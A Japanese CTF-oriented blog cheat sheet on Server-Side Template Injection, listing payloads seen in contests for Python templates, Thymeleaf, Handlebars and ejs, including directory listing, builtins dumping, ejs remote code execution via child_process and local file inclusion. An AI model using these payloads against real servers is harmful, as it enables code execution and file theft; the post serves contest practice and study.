はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるSSTI問題への傾向と対策 [Server-Side Template Injection]

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

Server-Side Template Injection

テンプレートエンジンというものがある。 データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジンのこと。 この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性

Python

以下、見たことあるペイロード

% import os
{{os.listdir(path='/')}}

% for v in dir():
  {{v}}
% end

% for v in dir(__builtins__):
  {{v}}
% end

% for v in __builtins__:
  {{v}}
% end

% for v in __builtins__.values():
  {{v}}
% end

Java

  • Thymeleaf
    • <td th:utext="${fish.name}">という感じの記法

javascript, node.js

  • Handlebars
    • {{変数名}}で変数の中身を出せる
    • グローバル変数の中身全部出る {{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
    • 参考になる → Built-in Helpers | Handlebars
    • registerPartialで指定されているレジスタを出力したいとき
      • hbs.registerPartial('FLAG', FLAG);とあれば、{{> FLAG}}
  • ejs
    • RCE <%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
    • LFI <%- include('../../../app.js') %>

CTF Writeups

Practicalな話

実装時に気を付けること

気を付けようが無い気がする。 問題で{}サニタイズするようなものがあるが、バイパスする問題ばっかりだしなぉ…

(CTFじゃ使えないけど)テストツール

知らない。